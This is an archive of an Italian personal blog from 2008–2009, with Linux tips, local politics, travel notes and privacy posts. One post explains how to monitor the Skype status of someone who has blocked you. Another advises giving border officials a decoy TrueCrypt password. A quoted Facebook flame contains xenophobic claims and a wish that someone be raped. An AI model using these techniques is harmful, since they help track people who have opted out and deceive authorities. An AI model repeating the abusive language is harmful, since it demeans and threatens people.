Sembra impossibile eppure è questo che è accaduto nella casa dei cittadini di Verona.
Centro della questione è il parcheggio riservato all'auto di servizio del nostro noto sindaco Flavio Tosi e un adiacente parcheggio per disabili, il quale è stato ridotto di una quarantina di centimetri affinchè le portiere dell'audi del nostro buon Flavio non cozzino accidentalmente con eventuali altre autovetture parcheggiate e per evitare che possa sporcarsi i vestiti strisciando dentro e fuori dall'auto.
Nelle foto sono ben visibili i vecchi segni azzurri, ormai sbiaditi, e si apprezza bene la sproporzione nella larghezza dei posti. Nella seconda foto è possibile anche notare la differenza di larghezza tra il posto disabili di destra e quello modificato a sinistra.
Grazie a D4r|0 per le foto e a Fastidio per il titolo.

Uso ricorsivo di a2mp3

2009-05-06T11:54:00.005+02:00

A volte si ha la necessità di ottimizzare con a2mp3 un'intera cartella, magari con diverse sottocartelle. Il programma nativamente non ha funzionalità ricorsive, torna quindi utile questo comando:

find /home/utente/cartella -name '*.mp3' -exec a2mp3 '{}' \;

Il comando non fa altro che trovare tutti i file con estensione .mp3 che si trovano nella cartella /home/utente/cartella e, tramite il parametro -exec, passarli ad a2mp3 che li processa mettendo il prodotto finito nella cartella /home/utente/mp3tmp. Semplice.
Da tenere presente:

Il percorso della cartella in cui eseguire la ricerca dev'essere completo, altrimenti a2mp3 darà un errore tipo "touch: cannot touch...No such file or directory".
Il simbolo "'{}'" indica la posizione in cui verranno messi i file risultanti da passare ad a2mp3.
Il ";" deve essere preceduto dal carattere di escape "\" altrimenti verrebbe processato come interruzione del comando find e non passato ad exec come interruzione di a2mp3.

Io non sono razzista, sono loro che sono neri!

2009-02-16T18:04:00.004+01:00

Riporto in toto un flame nato da una massmail su facebook. Purtroppo certi pensieri sono normale amministrazione di questi tempi.

Simone Tartari
15 febbraio alle ore 16.36
Basta stupri!! difendiamo le nostre madri, sorelle, figlie, ragazze, mogli!!
riprendiamoci la dignità ITALIANA!!! fate girare!!!

Matteo Iacono
15 febbraio alle ore 16.48
Giusto bravo!
Riprendiamoci anche la dignità italiana contro i preti pedofili!
Ah no, scusa, quelli no perchè sono bianchi..
Ma va a cagare va!

Simone Tartari
15 febbraio alle ore 20.42
pensi che io non sia contro i pedofili?? che siano bianchi, neri, gialli, o rossi, preti o politici persone normali o mafiosi sempre merde allo stesso modo!! preti ancora peggio visto che dovrebbero insegnare altre cose...
non sò non vorrei essere stato frainteso...
comunque non faccio distinzioni razziali ma è un dato di fatto che questi ne combinano di peggio! una volta non si sentiva mai parlare di stupri di gruppo e per giunta su ragazze di 15 anni!

Matteo Iacono
Oggi alle 0.28
Guarda, non è neanche colpa tua..sei solo uno dei tanti ignoranti che fanno di tutta l'erba un fascio e che assorbono quello che passa in tv senza provare a pensare con la propria testa.
Se non si parla degli stupri compiuti da italiani è solo perchè fanno meno notizia di sti tempi, non certo perchè non ce ne siano. Inoltre se certe dinamiche si sviluppano più facilmente (e bada bene che ho detto più facilmente, non esclusivamente) tra gli extracomunitari è solo perchè la maggior parte di loro vive in situazioni di povertà e degrado, in un territorio che non è il loro e si sentono soli e disprezzati da qualsiasi persona che li circondi.
E tu pensi alla dignità italiana? Un'italia con i preti che abusano di un'intera scuola di sordomuti, con i mafiosi che sciolgono i bambini nell'acido, con gli ultrà che si menano a sangue negli stadi, con un premier e tutta la classe politica che se ne fregano, che rubano e si fanno le leggi a proprio favore rendendoci ridicoli agli occhi del mondo.
La tua dignità italiana fa acqua..
Salutami il tuo amico Bossi che predica i valori della famiglia e si fa venire un coccolone andando a letto con Luisa Corna.

Simone Tartari
Oggi alle 0.44
sei solo un buonista, perbenista, scommetto che sei di sinistra... ora capisco perchè la gente non vota più la sinistra... se sono tutti come te... pensa se fossero state tua madre o tua sorella... ciao ciao

Matteo Iacono
Oggi alle 18.00
Risposta senza senso, tipica del classico bifolco di paese che da ragazzino truccava i motorini e che non ha mai aperto un libro o un giornale e ora guarda il tg di Fede e crede che quella sia la realtà.
Non mandare massmail perchè su internet non sono tutti ignoranti bigotti come te.
Spero che il prossimo ad essere violentato sia tu.
Addio.

Screensaver slideshow su gnome

2009-01-15T23:57:00.002+01:00

Visto che questa sera mi sono messo a personalizzare questo screensaver sul pc che fa da server, client, ambiente di test ed altro ancora, riporto il procedimento a futura memoria. Questo screensaver mostra a schermo uno slide show, cioè una sequenza di immagini. In particolare noi andremo a cambiare la cartella in cui lo screensaver va a cercarsi le immagini, visto che di default le cerca sotto ~/Pictures che è piuttosto scomodo ed antiestetico. Negli esempi seguenti supponiamo di voler impostare la cartella ~/Foto. Chiaramente al posto di ~/Foto possiamo usare qualsiasi percorso.
Modifichiamo il file personal-slideshow.desktop. Su debian diamo quindi il comando:

sudo vim /usr/share/gnome-screensaver/themes/personal-slideshow.desktop

mentre con ubuntu dovremo dare il comando:

sudo vim /usr/share/applications/screensavers/personal-slideshow.desktop

Nel caso il file non si trovasse nei percorsi riportati sopra, potete cercarli con i comandi:

sudo updatedb
locate personal-slideshow.desktop

Il primo aggiorna il database dei file, il secondo esegue la ricerca. Fatto questo localizziamo la riga:

Exec=slideshow --location=Pictures

e modifichiamola come segue, premendo il tasto "i" per entrare in modalità "insert":

Exec=slideshow --location=~/Foto

Premiamo quindi il tasto "esc" e diamo infine il comando ":wq" seguito da invio per salvare ed uscire.
Non ci resta che andare nel menu "Sistema > Preferenze > Salvaschermo" ed impostare come screensaver "Cartella immagini".

Suonerie Fai Da Te

2009-01-08T22:35:00.004+01:00

Per chi è un felice possessore di un computer equipaggiato con linux c'è un tool molto semplice e veloce per farsi le suonerie per il cellulare in casa: mp3cut, in sostanza un comando shell che taglia gli mp3.
L'installazione, su sistemi debian based, è molto semplice:

sudo apt-get install poc-streamer

all'interno di questo pacchetto troveremo anche mp3cut.
Come procedere? Apriamo il nostro lettore mp3 preferito e ascoltiamo la canzone da cui vorremmo estrarre la suoneria, solitamente il ritornello.
Tenendo d'occhio il timer segnamoci il tempo di inizio e di fine del pezzo da tagliare. Ora andiamo sulla shell e utilizziamo il seguente comando:

mp3cut -o outputfile -t [hh:]mm:ss[+ms]-[hh:]mm:ss[+ms] inputfile

dove outputfile è il nome file che avrà la suoneria, hh mm ss ms sono rispettivamente ore (non credo che le userete), minuti, secondi e millisecondi di inizio e di fine del pezzo da tagliare, ed inputfile è il nome file della canzone di origine. Esempio pratico: prendiamo la canzone "Ni fu ni fa" degli Ska-P e suoniamola con un lettore mp3 qualsiasi, io mi trovo bene con vlc ma va bene qualsiasi lettore che mostri un timer con minuti e secondi. Segnamoci il minuto ed il secondo di inizio e di fine del trancio da tagliare. Nel mio caso voglio tagliare da 1:48 a 2:35.
Ora apriamo la shell e digitiamo questo comando:

mp3cut -o suoneria.mp3 -t 1:48-2:35 NiFuNiFa.mp3

Verrà così creato il file suoneria.mp3. Apriamo il solito lettore mp3 e ascoltiamo il file prodotto. A meno che non abbiate una gran fortuna dovrete limare un po' il file. Quindi è ora di lavorare sui millesimi. Qui bisogna andare un po' per tentativi finchè il taglio non è preciso, con l'esperienza ci farete la mano. Nel mio caso il taglio perfetto l'ho avuto con il comando:

mp3cut -o suoneria.mp3 -t 1:48+750-2:34+350 NiFuNiFa.mp3

Suonando il file suoneria.mp3 con vlc e la ripetizione della singola traccia il ritornello risulta tagliato bene e, ripetendosi, la fine si aggancia bene con l'inizio.
Il file prodotto va benissimo così e può essere spedito via bluetooth, via usb o come volete al cellulare e impostato come suoneria. Ma il file risultato potrebbe essere ottimizzato in modo da risparmiare spazio sul cell, che è utile specialmente per chi ha cellulari poco capienti. A tal fine utilizzeremo il tool a2mp3.
Come al solito con una semplicità disarmante per i sistemi debian installiamo a2mp3:

sudo apt-get install a2mp3

entriamo poi nella cartella in cui si trova il nostro file e diamo il seguente comando:

a2mp3 -d suoneria_opt.mp3 suoneria.mp3

e come per magia verrà creato il file suoneria_opt.mp3 ottimizzato. Mandate quest'ultimo file al cellulare ed impostatelo come suoneria. Les jeux sont fait.

Multitasking

2008-09-27T14:17:00.003+02:00

Definizione di multitasking (tnx Ipnosis):

Pronti, via!

2008-08-29T16:34:00.004+02:00

Sono in partenza, la valigia è pronta. Contiene le seguenti cose: 8 mutande, 8 calze, 8 magliette, 3 pantaloni corti, 1 pantaloni lunghi, 1 felpa, 1 poncho da pioggia, cell + caricabatterie cell, caricabatterie stilo, macchina fotografica + batterie, gps + batterie, soldi, spazzolino, deodorante, dentifricio, ciabatte, costume, telo mare. Il tutto per un totale di 10 kg. Sono stato bravo. Il limite mi hanno detto che è di 20 kg, quindi ho 10 kg per i souvenir che non comprerò..
Ho deciso di non portare con me il portatile, sarebbe una rogna da scarrozzare in giro per le città e lasciandolo in macchina rischierei che me lo fregassero. Spero di trovare dei computer negli alberghi dove pernotteremo, altrimenti mi porto via una penna ed un quaderno e scriverò il diario giorno per giorno, forse quest'ultima è la cosa migliore. Quando tornerò trascriverò tutto sul blog con tanto di foto. Per strada scriverò solo quando ne avrò occasione.
Domani l'aereo sarà alle 6.45. ARGH questo è il primo problema da affrontare. La partenza per Venezia è alle 4.
Intanto nella testa gira ripetutamente la canzone dei Modena City Ramblers "Ninna nanna". Vi allego il video così potete ascoltarla.
Buona notte a tutti...a presto...

The Pirate Way

2008-08-21T20:40:00.001+02:00

La gente non ci crede quando dico che siamo messi male, che la privacy è solo una parola usata per fare discorsi e non fatti, che l'inquisizione è attualissima, che la censura è ovunque e non ce ne accorgiamo.
Questo video riassume perfettamente i fatti che stanno succedendo in questi giorni:

Il sito The Pirate Bay è un sito specializzato in p2p di tipo torrent. E' stato bloccato dalle autorità italiane (il GIP di Bergamo) sotto richiesta delle etichette discografiche tramite la tecnica del DNS che spiegavo nel post "Freghiamo la censura".
Ora navigando col browser verso il sito thepiratebay.org non solo non si aprirà il sito che ci aspettiamo ma finiremo su un server web di proprietà della IFPI, un'associazione che raggruppa circa 1400 etichette discografiche in 73 paesi del mondo e che mostra la pagina della GDF che c'è qui a fianco. Lo stato italiano sta gentilmente regalando alle major l'elenco delle persone che frequenta(va)no The Pirate Bay. Da notare che il processo contro il sito non è neanche cominciato, e mi sembra che in Italia si sia innocenti fino a prova contraria...ma di questo in effetti non sono più tanto sicuro.
I rimedi come al solito sono DNS personale e Tor, come scrivevo sugli articoli "Freghiamo la censura" e "Censura: Italia come la Cina". Questa la pagina originale del sito che compare a chi, come me, usa i propri DNS e non quelli taroccati:

Bisogna comportarci come i Pirati che loro credono che siamo. The Pirate Way.

Viaggio in Grecia

2008-08-20T14:26:00.002+02:00

Quell'amore di suocera che mi ritrovo, ovvero la mamma della mia ragazza, ci ha regalato un viaggio in Grecia. Anzi, come ha tenuto a precisare, il viaggio è stato regalato a Francesca e non a me. Però parto anch'io, è questo l'importante! E quindi via per nuove mirabolanti avventure.
Il viaggio sarà un tour storico in cui l'unico obbligo che abbiamo è arrivare nell'hotel del giorno a fare il check-in prima che ci diano per dispersi e annullino la prenotazione.
Il primo giorno partenza da Venezia e con scalo a Roma arriviamo ad Atene dove ci aspetterà una opel corsa presa in affitto che ci porterà nell'hotel a cinque stelle con piscina sul tetto dove passeremo la notte. Il secondo giorno l'albergo si trova ad Olimpia, il terzo a Delfi, il quarto a Kalambaka e infine le ultime due notti di nuovo ad Atene. Allego una mappa del percorso essenziale, cioè della strada minima da fare per arrivare da un albergo all'altro:

Visualizzazione ingrandita della mappa

Che domenica bestiale

2008-08-06T23:15:00.011+02:00

Domenica scorsa Francesca ed io siamo andati a fare una gita sull'altopiano di Asiago con il cane lei e la radio io. Grazie alla fantastica propagazione ed alla posizione favorevole sono riuscito a collegare Trento, Pistoia e Roma!! E tutto questo solo con la mia fida Icom IC-T3H e un aiutino dei ripetitori R3 di Vicenza ed R5A di Forlì. Tornato a casa ho trovato l'ispirazione per sistemare il registro di stazione e renderlo visibile a tutti online a questo indirizzo.

Qualche foto del nostro eroe intento ad operare con la radio:

L'inizio del sentiero che abbiamo fatto:

Visualizzazione ingrandita della mappa

I miei nuovi pesciolini

2008-07-22T16:38:00.005+02:00

La temperatura della vasca nell'ultimo periodo ha superato i 32 gradi e purtroppo c'è stata una strage di guppy. Non ho troppi soldi da spendere e quindi non posso permettermi di comprare uno di quei costosissimi refrigeratori per l'acquario.
Ora che la temperatura si è ristabilita ho deciso di cambiare genere e provare con i neon. Ecco quindi un video del gruppetto di nuovi neon, 4 blu e 4 rossi, appena comprati. Nella vasca sopravvivono ancora 2 ancistrus (se ne vede uno nel video) e 2 guppy.

Pic-nic in tenda

2008-07-14T17:23:00.007+02:00

Ieri Francesca ed io siamo andati a fare un pic-nic in montagna, e ci siamo portati via la tenda nuova. Dopo qualche prova e tante risate siamo riusciti a montarla e a farci la prima dormita dentro, dopo pranzo.

Sono disponibili le foto della tenda montata e il posto dove siamo stati, che è un ottimo posto dove fare un pic-nic.

Skype: aggirare il blocco

2008-07-09T21:57:00.005+02:00

C'è un modo semplice quanto geniale di tenere sotto controllo una persona su skype anche se questa ci ha bloccati. Niente hack, niente crack, niente social engineering (anche se resta sempre il metodo migliore). Si tratta di utilizzare gli strumenti che skype stesso ci offre, in particolare i bottoncini da mettere sul proprio sito web per farsi chiamare dagli utenti.
Andiamo nel sito di skype, nella sezione "condividi", e quindi entriamo su pulsanti e widget. Seguiamo il link "crea pulsante skype me".
Completiamo ora la scheda che ci si presenta con il nome utente della persona di cui vogliamo conoscere lo status e scegliamo di creare un pulsante di quelli che mostrano lo stato. Et voilà, già dall'anteprima possiamo vedere se la persona è connessa o no.

Simpatico eh? Una volta capito il barbatrucco possiamo farci un link a questo indirizzo:

http://mystatus.skype.com/bigclassic/utente

dove al posto di "utente" ci va il nome utente dell'account da tenere sott'occhio. Finiremo direttamente al bottone con lo status.
Come proteggersi infine da questa cosa? Semplice, basta togliere la spunta dal tasto "consenti la visualizzazione del mio stato sul web" dalle opzioni di skype sotto privacy.

L'opzione di default è attiva su tutti i client e sono in pochi che vanno a spulciarsi le opzioni per vedere se va tutto bene.

Freghiamo la censura

2008-07-06T23:24:00.011+02:00

E' passato un anno dall'articolo "Censura: Italia come la Cina". Da allora tante cose sono cambiate, ma non questa. Gli esperimenti per il controllo di internet continuano, e oggi vi voglio spiegare un altro modo per aggirare la censura attuata a livello DNS in internet. Ma prima dobbiamo fare un breve accenno a come funzionano le reti, in particolare internet.

Supponiamo di volerci collegare ad un sito internet www.sito.com. Come riesce di fatto il nostro pc a trovare il computer su cui è ospitato il sito e a contattarlo? Deve risolvere l'hostname www.sito.com nel relativo indirizzo IP, che sarà un indirizzo in formato 123.123.123.123. Chi si occupa di rispondere a questo genere di domande sono i server DNS, Domain Name System.
Quando diamo invio per contattare il sito www.sito.com il nostro computer contatta uno dei server che abbiamo impostato come DNS nella nostra connessione ad internet e gli chiede "qual'è l'indirizzo di www.sito.com?", il nostro DNS contatterà un root DNS, cioè uno dei 13 DNS che stanno in cima alla piramide e che gestiscono i domini di primo livello (in questo caso .com), che gli risponderà con il nome del DNS di secondo livello, che si occupa cioè di risolvere sito.com. Verrà quindi contattato il name server di sito.com che risponderà al nostro DNS con l'indirizzo pubblico del sito. Infine il nostro DNS girerà a noi la risposta e noi andremo quindi a contattare direttamente il server del sito. Il giro è più facilmente comprensibile guardando la figura sottostante.

Dove sta la fregatura? I DNS italiani, sotto pressione delle autorità, potrebbero essere impostati per rispondere con indirizzi IP errati alle nostre richieste. Noi quindi chiameremo www.sito.com e invece di avere come risposta l'indirizzo IP corretto 123.123.123.123 potremmo avere un indirizzo IP fasullo 145.145.145.145. Il nostro computer andrà quindi a contattare un server sbagliato, che magari tiene un registro di chi ha tentato di visitare quel sito, oppure che ospita un concorrente del sito stesso. Comunque vadano le cose www.sito.com diventa così praticamente irraggiungibile e la nostra privacy è in pericolo.
Come risolvere il problema? Potremmo impostare un altro DNS nella nostra connessione, magari estero. Ma chi ci dice che le cose siano diverse? E chi ci dice che questo DNS non tenga traccia delle richieste per fini commerciali/statistici o che non venda i nostri dati ad aziende senza scrupoli o alle autorità?
La soluzione migliore è quella di fare noi stessi da DNS per la nostra connessione, andremo quindi a contattare direttamente i root DNS senza chiedere niente a nessuno.
Le istruzioni che seguono sono per linux, gli utenti di altri sistemi operativi possono andare sul sito di bind, il software che si occupa di fare da DNS, e scegliere l'installer per il proprio sistema.
Installiamo il server:

sudo apt-get install bind9 dnsutils

Ora andiamo a fare un paio di modifiche alla configurazione per aumentare la sicurezza. Queste modifiche non sono necessarie ma sono caldamente consigliate:

vi /etc/bind/named.conf.options

Commentiamo la riga come segue:

//listen-on-v6 { any; };

E modifichiamo (o aggiungiamo se non c'è già) la seguente riga come segue:

listen-on { 127.0.0.1; };

In questo modo il server DNS non sarà in ascolto su nessuna porta IPv6 e sarà in ascolto solo sull'indirizzo di loopback 127.0.0.1. In questo modo solo noi possiamo accedere al servizio, risparmiandoci accessi non desiderati.
Ora andiamo ad impostare il nostro indirizzo locale come DNS per le nostre connessioni e quindi riavviamo i servizi di rete con le nuove impostazioni:

sudo echo "nameserver 127.0.0.1" > /etc/resolv.conf
sudo /etc/init.d/networking restart

resolv.conf è il file dove si trovano le impostazioni dei DNS da usare durante le connessioni. Se tutto è andato come dovrebbe dovreste già navigare in piena libertà. Altrimenti andate a controllare i log con il comando:

cat /var/log/messages | grep bind9

Buona navigazione!

Il quinto emendamento, la privacy, la crittografia

2008-06-26T14:35:00.006+02:00

Sembra che negli Stati Uniti, dopo l'11 Settembre 2001, abbiano trovato la scusa per farsi un po' di più gli affari degli altri. A chi viaggia col proprio computer, all'arrivo in aeroporto, può essere chiesto non solo di accenderlo, ma anche di mostrare i dati contenuti.

E' notizia di oggi che oltre a poter visualizzare i dati in chiaro, può essere chiesto di consegnare le password del pc e di vedere i dati crittografati presenti nel disco fisso.
Questo, oltre ad essere una grave violazione della privacy, va contro al quinto emendamento che sancisce il diritto di non testimoniare contro sè stessi.
Infatti io potrei avere nel mio computer dei dati che provano crimini o fatti illegali da me compiuti. Il consegnare la password alle autorità è come una denuncia contro sè stessi. Negli Stati Uniti si ha il diritto di non testimoniare contro sè stessi. Così come in Italia.
Vista la grave minaccia alla privacy per chi arriva negli States consiglio l'uso di TrueCrypt con doppia password. Le istruzioni sono simili a queste, basta creare un volume di tipo Hidden dentro al volume standard dopo averlo creato. Una password verrà utilizzata per proteggere dati fasulli, che verranno messi dentro al volume standard, l'altra per proteggere i dati veri che verranno salvati invece nel volume nascosto. Chiaramente noi daremo alle autorità solo la password dei dati fasulli. Nessuno avrà modo, per com'è fatto il programma, di dimostrare che esiste un'altra password con i dati veri. Solo noi che lo abbiamo creato sapremo che esiste un volume nascosto e avremo la password per accedervi. In base alla password inserita al momento dell'apertura del file verrà montato o il volume fasullo o quello nascosto.
Tanti saluti zio Sam!

No Dal Molin

2008-06-21T14:57:00.002+02:00

Cito dal sito di Repubblica:

Accolto il ricorso del Codacons: "Mancata la consultazione della popolazione"
"Assenso del governo formulato impropriamente. Bando non in linea con norme Ue"
Il Tar Veneto boccia l'ampliamento della base Usa Dal Molin a Vicenza

e così la base se la mettono in quel posto!

Piccoli gesti quotidiani

2008-06-20T15:45:00.006+02:00

A volte sono piccoli gesti quotidiani a fare la differenza. Si tratta di risparmiare plastica senza troppi sforzi ed ove possibile.

L'illuminazione è arrivata nei cinque minuti di pausa alla macchinetta del caffè, dopo aver scorto il tasto "no bicchiere" quasi nascosto in un angolo della tastiera della macchinetta stessa.
Ogni volta che bevo il caffè la macchinetta mi da un bicchiere di plastica e un cucchiaino che, dopo aver bevuto il caffè, finiscono nel cestino. Un paio di bicchieri al giorno, cinque giorni alla settimana, quattro settimane al mese fanno 40 bicchieri di plastica e 40 cucchiaini che vengono utilizzati e gettati via solo da me ogni mese. Una cifra ragguardevole. Ora pensiamo a tutti quelli che, come me, si trovano nella stessa situazione. Quanta plastica buttiamo via inutilmente?
A Londra ho comprato una tazza come souvenir e l'ho portata in ufficio. Ora bevo il caffè nella tazza di ceramica. Quando ho finito le do una sciacquata ed è pronta per il prossimo caffè. Il caffè senza bicchiere costa uguale, ma contribuisco a diminuire lo spreco di materie plastiche che causano danni gravissimi come il Pacific Trash Vortex. In fondo è un piccolo gesto che non mi crea nessun disturbo.
Stessa cosa per le posate di plastica che utilizzavo per mangiare durante la pausa pranzo, mi sono semplicemente portato un coltello ed una forchetta di acciaio da casa. Finito di mangiare li sciacquo e sono pronti per il prossimo pasto.
Non spero che tutti facciano così, è quasi impossibile. Ma più gente segue il mio esempio e più plastica risparmiamo, questa cosa gioverà a tutti.
Colgo l'occasione per scrivere sul blog che venerdì 6 mi sono iscritto alla Federazione Italiana Amici della Bicicletta. Già da due anni vado a lavorare in bicicletta, con il bello e con il brutto tempo (non sono un fan degli autobus). La salute ne ha guadagnato, ho perso qualche chilo, anche l'umore ne ha giovato. Inoltre risparmio all'ambiente un bel po' di inquinamento e non contribuisco ad aumentare il traffico nelle strade. La bicicletta è anche comoda perchè posso parcheggiare sotto l'ufficio, girare per tutto il centro storico e non pago il parcheggio. Iscrivendomi alla FIAB spero di dare il mio contributo per fare numero e fare in modo che le bici vengano considerate di più, vengano fatte nuove piste ciclabili, migliorate le vecchie e creati nuovi parcheggi per le bici.
Sicuramente non sono l'esempio dell'ecologista perfetto, e posso sicuramente migliorare ancora. Ma se tutti noi cambiassimo abitudini, con piccoli gesti quotidiani sicuramente potremmo fare molto.

Viaggio a Londra

2008-06-19T23:56:00.004+02:00

Dopo averle sistemate tutte ecco le foto del mio viaggio a Londra con Claudia.
Grazie per la bellissima settimana trascorsa, è anche grazie a te se mi sono perdutamente innamorato di questa città così affascinante.
Le cose che mi hanno colpito di più: i parchi immensi e curatissimi, i trasporti efficientissimi, i musei gratuiti.
Qui trovate il resoconto della vacanza giorno per giorno.

Registrazione dominio

2008-05-23T14:22:00.004+02:00

Dopo 11 mesi di vita esatti ho deciso di registrare il dominio personalizzato per il blog. Aggiornatevi, l'indirizzo ora è www.tsbrego.net.

IZ3NWZ

2008-05-16T19:20:00.003+02:00

Questo è il mio nominativo di stazione. Dopo 3 mesi di studio all'ARI di Verona, dopo l'esame a Venezia, dopo carte, raccomandate, ricevute, documenti, richieste, fotocopie alla fine sono ufficialmente un radioamatore patentato ed autorizzato.
Ho anche già fatto 3 collegamenti, il più notevole dei quali un QSO diretto con mio fratello (IZ3NYV). Io mi trovavo nella piazza principale di Bosco Chiesanuova, lui a S. Lucia a Verona. 20 Km circa di collegamento abbastanza chiaro.
Voglio ringraziare gli amici dell'ARI VR che spero di riprendere a frequentare presto (sono senza mezzi di trasporto e andare sulle Torricelle di sera non è proprio semplice).
Voglio inoltre ringraziare IW2KKD per il QSO del 13, per avermi tenuto compagnia visto che ero solo a Segrate in occasione di un corso e per i consigli, che ad un neo patentato come me tornano sempre utili.
Alzate le antenne, da oggi in poi potrà capitarvi di sentire "CQ CQ DE IZ3NWZ".

Nicola

2008-05-06T21:00:00.011+02:00

Nicola è morto. L'ha ucciso un gruppo di neofascisti. Non c'è motivo, non c'è scusante, non ci sarà perdono.
Ma per strada le cose sono diverse. Per strada la gente comune dice che qualcosa deve avergli fatto anche lui. Cerca scuse, sdrammatizza, oppure non vuole pensare e cambia discorso.
Il sindaco, colui che rappresenta tutta la città, dice che quei ragazzi sono degli idioti, perchè non avevano neanche la xenofobia come motivazione. Questa frase si può interpretare in tanti modi. Io la interpreto come "se fosse stato negro almeno avevate un motivo, ma con un bianco che bisogno c'era?". E invece di venire ieri al sit-in per salutare e testimoniare la propria vicinanza a Nicola ed ai suoi genitori e la sua contrarietà a questi episodi di violenza, partecipa a "chi l'ha visto". Del resto, cosa aspettarsi da chi da giovane molestava gli zingari?
Intanto si muovono critiche a chi sostiene che queste cose succedono perchè c'è un clima di lassismo, quasi di comprensione, verso questo genere di cose. Sono gli stessi che poi chiedono pene più severe per i marocchini che violentano le ragazze, perchè se c'è la paura della pena c'è anche una diminuzione del numero di reati. Spiegatemi questa cosa: perchè il marocchino dev'essere punito duramente perchè fa cose terribili, mentre i giovani della Verona bene che uccidono devono passare quasi inosservati. Non siete coerenti neanche con voi stessi.

E a corredo di tutto questo, mentre i giornali a tiratura nazionale titolano "Verona, l'agguato dei neonazi","Verona: confessa ultrà neonazista","Massacrato dagli ultrà neonazi","Massacrato per una sigaretta: preso neonazista","Neonazista confessa: L’ho massacrato io","Verona, era un branco di naziskin","Verona, è un pestaggio fascista", L'Arena, il giornale di Verona, per raffreddare il clima titola: "GIOVANE AGGREDITO, UN ARRESTO". Ma stiamo scherzando o cosa? I giornali cercano, giustamente, di mettere in evidenza il lato violento di questi gruppi pseudopolitici che, a fronte di idee che possono essere più o meno condivise, mostrano delle reazioni violente, cercando di imporre la propria idea con la forza, usano la violenza gratuitamente. E L'Arena che fa? Getta acqua sul fuoco, minimizza. Manipola le menti delle persone.

Verona città dell'amore intolleranza................ (cit. Nicola)

Internet per tutti ovunque

2008-03-17T17:24:00.005+01:00

L'idea che c'è alla base è semplice, ma non banale. Si tratta di condividere la propria ADSL con una comunità di altre persone (foneros) che contemporaneamente condivideranno la loro.
Il tutto semplicemente attaccando al mio router, la scatoletta che ci permette di connetterci ad internet, un access point, cioè un'altra scatoletta che offre la connessione senza fili, che permette ai foneros di accedere ad internet tramite la mia connessione, previa richiesta di utenza e password.
Viceversa, quando sono in giro per il mondo posso usare la mia utenza per accedere agli access point degli altri foneros che, come me, hanno messo a disposizione la propria connessione. Gratis.
E' palese che se in molti aderiscono, come già succede nei paesi più avanzati, potremo avere accesso ad internet gratuitamente in ogni punto della città ed in ogni città. Quando viaggiamo per lavoro o per studio, quando andiamo in vacanza, ecc.
La dotazione base per partecipare alla comunità è una Fonera, cioè l'access point personalizzato di fon. Questo andrà collegato al proprio router. Nel caso non si possedesse un router è possibile acquistare una Fonera+, che oltre a fare da access point fa anche da router. In aggiunta è possibile acquistare anche una Fontenna, cioè un'antenna che potenzia il raggio d'azione della Fonera di 5 volte.
Il prezzo è mozzafiato, una Fonera più una Fontenna costano 12 euro comprensive di spese di spedizione. L'unico vincolo che riportano sul sito, essendo un'attrezzatura che vale circa 80 euro, è quello di mantenerle accese e funzionanti per almeno 1 anno.
Con fon è possibile anche guadagnarci qualcosa. Quando scegliete il vostro profilo avete la possibilità di essere Linus o Bill. Nel caso sceglieste di essere Linus mettereste gratuitamente a disposizione la vostra connessione per tutti i foneros, ma nel caso sceglieste di essere Bill acconsentite di far collegare al vostro access point anche persone che non sono foneros, cioè che non mettono a disposizione la loro ADSL. Per accedere pagheranno a fon 3 euro al giorno e il 50% del prezzo, tasse escluse, finirà nelle vostre tasche. Chiaro che questo sarà molto remunerativo solo nel caso in cui la vostra Fonera fosse posizionata in un posto di gran passaggio.
La sicurezza del sistema è data dal fatto che la vostra rete verrà divisa in due zone: la zona privata, dove navigherete voi e dove saranno connessi i vostri computer, e la zona pubblica, dove transiteranno le connessioni dei foneros di passaggio. Le due zone sono indipendenti e non c'è modo (beh, non facilmente..) di passare da una zona all'altra. Inoltre ogni attività nella zona pubblica sarà tracciata da fon e in caso di problemi giudiziari sarà possibile risalire all'identità di chi era connesso alla vostra Fonera.
Esiste una mappa dei punti di accesso fon, che si appoggia a google maps ed è aggiornata in tempo reale. Controllate se nella vostra zona ci sono già foneros attivi e cercate di spargere la voce. Più siamo, più connessioni a disposizione avremo.
Ho acquistato il set Fonera + Fontenna sabato, non vedo l'ora che arrivi..

Proteggiamo i nostri dati

2008-02-26T23:40:00.013+01:00

Quanti dati personali ci sono nei nostri pc? Password, foto, lettere, documenti bancari, ecc. Quasi sempre questi documenti vengono conservati in normali cartelle insieme a tanti altri file.
Così facendo però lasciamo i nostri dati liberamente accessibili a tutti. Se qualcuno ci ruba il portatile, ci accende il computer senza permesso, se qualcuno viola la nostra rete, se prendiamo un virus e in tante altre occasioni i nostri dati sono esposti direttamente agli occhi di estranei.
Per mettere in sicurezza i dati c'è un programma libero e molto semplice: TrueCrypt.
Pur nascendo per creare partizioni, cioè spazi del disco rigido, cifrati è possibile creare dei volumi crittati, cioè degli spazi cifrati in cui salvare i file, anche in normali file. Possiamo nascondere i nostri file in altri file e crittografarli in modo che non possa accedervi nessuno senza la corretta parola d'ordine.
Ovviamente la cosa è resa semplicissima e accessibile anche a chi non è esperto.
Partiamo dall'installazione: scarichiamo il file di installazione dal sito segnalato sopra e, una volta terminato il download, clickiamoci sopra due volte. Compariranno le seguenti schermate.
Accettiamo la licenza e andiamo avanti:

Selezioniamo la modalità installazione:

Impostiamo la cartella d'installazione e clicchiamo su "install":

Il programma è stato correttamente installato:

Vogliamo leggere la guida? No, altrimenti io che ci sto a fare..magari un domani che volete approfondire..

Clickiamo su fine installazione:

L'installazione è finita, sul desktop dovreste trovare un collegamento al programma. Clicchiamoci sopra due volte e comparirà la seguente finestra:

Iniziamo a vedere come creare un nuovo volume, cioè un file dentro cui finiranno i nostri dati da proteggere.
Clickiamo su "crea nuovo volume" nel menu volumi:

Selezioniamo il volume standard. In realtà TrueCrypt ha un doppio livello di protezione dei dati. E' possibile nascondere un volume crittato in un altro volume crittato in modo che la cosa sia totalmente invisibile. A cosa serve? I volumi hanno due password diverse e sono completamente indipendenti. Se qualcuno dovesse minacciarci per costringerci a dargli la password potremo dargli la password del primo volume, in cui avremo preventivamente inserito dei dati fasulli. In questo modo i dati veri nell'altro volume, quello nascosto, saranno al sicuro.
Della modalità nascosta parleremo un'altra volta, per ora limitiamoci a vedere la modalità standard.

Impostiamo il percorso e il nome del nuovo file in cui finiranno i dati. Nel mio caso ho creato un file Password.tc in modo che sia già riconosciuto come volume di TrueCrypt. Per maggiore sicurezza si potrebbe creare un file .doc, .zip, .mp3 ecc. in modo che non sia facilmente distinguibile dagli altri.

